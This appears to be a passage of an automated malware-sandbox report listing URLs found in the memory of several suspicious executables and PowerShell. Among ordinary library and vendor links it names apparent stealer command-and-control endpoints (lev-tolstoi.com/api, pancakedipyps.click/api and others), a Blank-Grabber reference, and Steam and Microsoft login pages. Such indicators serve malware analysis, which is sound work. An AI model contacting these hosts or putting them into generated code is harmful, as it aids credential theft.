Source: D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D81C000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: D1UL0FG.exe, 00000006.00000002.2989919313.000001FA2BF31000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: D1UL0FG.exe, 00000006.00000002.2989919313.000001FA2BF31000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: D1UL0FG.exe, 00000006.00000002.2996941109.000001FA2E830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2490431085.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: D1UL0FG.exe, 00000006.00000003.2537713866.000001FA2E3D8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2538084119.000001FA2E3E2000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2997186323.000001FA2E940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: D1UL0FG.exe, 00000006.00000002.2997434338.000001FA2EA70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.comX
Source: powershell.exe, 00000037.00000002.2645286273.0000021F951A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2537129441.000001FA2DFF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: D1UL0FG.exe, 00000006.00000003.2537129441.000001FA2DFF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: 8ZVMneG.exe, 00000054.00000003.2800061103.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/api
Source: 8ZVMneG.exe, 00000054.00000003.2800061103.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/apif
Source: 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: D1UL0FG.exe, 00000006.00000002.2994686115.000001FA2E430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: 8ZVMneG.exe, 00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com//
Source: 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/5
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/;
Source: 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2940333141.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3045357571.0000000001365000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiG
Source: 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiN
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apialif_
Source: 8ZVMneG.exe, 00000054.00000003.3041726825.0000000001363000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3045357571.0000000001365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apih0Y
Source: 8ZVMneG.exe, 00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apil
Source: 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/e
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/eK
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/om
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2800061103.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/piu
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/rtner.-K
Source: 8ZVMneG.exe, 00000054.00000003.2800061103.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/u/
Source: 8ZVMneG.exe, 00000054.00000003.2991447844.0000000003BD5000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.3042502917.0000000003BD5000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3047482632.0000000003BD5000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.3016986750.0000000003BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apiVm%2FJ0rmsy%2BhN1oSL3JKRhoJXC4AvQ6UHJ%2BO6lT%2FGF727v%2B49o4tEmttjRuu
Source: 8ZVMneG.exe, 00000054.00000003.2912967737.0000000003BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apil
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ED28000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ED4C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: powershell.exe, 00000011.00000002.2798190076.0000028A95663000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2733086227.0000021FA472A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2733086227.0000021FA45E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2645286273.0000021F95ED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000037.00000002.2645286273.0000021F95CD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000037.00000002.2645286273.0000021F95CD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: D1UL0FG.exe, 00000006.00000002.2997434338.000001FA2EA70000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2490171634.000001FA2E40D000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2997186323.000001FA2E940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: d0ef52de9f.exe, 0000005F.00000003.3030418791.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.2935690234.00000000037AE000.00000004.00000800.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.3051592972.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.3051592972.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.3051391317.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: d0ef52de9f.exe, 0000005F.00000003.2934892594.00000000012D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/.
Source: d0ef52de9f.exe, 0000005F.00000003.2883853328.00000000037AE000.00000004.00000800.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.2883199169.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/R
Source: d0ef52de9f.exe, 0000005F.00000003.3030418791.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.2960034570.0000000001338000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.2913864294.0000000001346000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.3051592972.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.2983504881.0000000001331000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005F.00000003.3051592972.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: d0ef52de9f.exe, 0000005F.00000003.3051592972.00000000012CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiP
Source: d0ef52de9f.exe, 0000005F.00000003.3051592972.00000000012CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiu
Source: d0ef52de9f.exe, 0000005F.00000003.2983504881.0000000001331000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api~
Source: d0ef52de9f.exe, 0000005F.00000003.3051592972.00000000012CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/jh
Source: d0ef52de9f.exe, 0000005F.00000003.3051391317.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: d0ef52de9f.exe, 0000005F.00000003.3051391317.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pib
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: D1UL0FG.exe, 00000006.00000002.3005171596.00007FF8A8E0F000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.0000000001402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sci.libertyreserve.com/
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sordid-snaked.cyou/api
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 8ZVMneG.exe, 00000054.00000003.2825503238.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: 8ZVMneG.exe, 00000054.00000003.2825503238.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319003
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 8ZVMneG.exe, 00000054.00000003.2800061103.00000000012CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: 8ZVMneG.exe, 00000054.00000003.2825503238.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: D1UL0FG.exe, 00000006.00000003.2589318835.000001FA2E686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: 8ZVMneG.exe, 00000054.00000003.2885763363.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2541116191.000001FA2E65D000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2542837368.000001FA2E6BB000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2527409426.000001FA2E6AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: 8ZVMneG.exe, 00000054.00000003.2885763363.0000000003C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: D1UL0FG.exe, 00000006.00000003.2562812810.000001FA2E5A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: D1UL0FG.exe, 00000006.00000003.2591687772.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2986166870.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2601233115.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2641077930.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2537129441.000001FA2DFF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
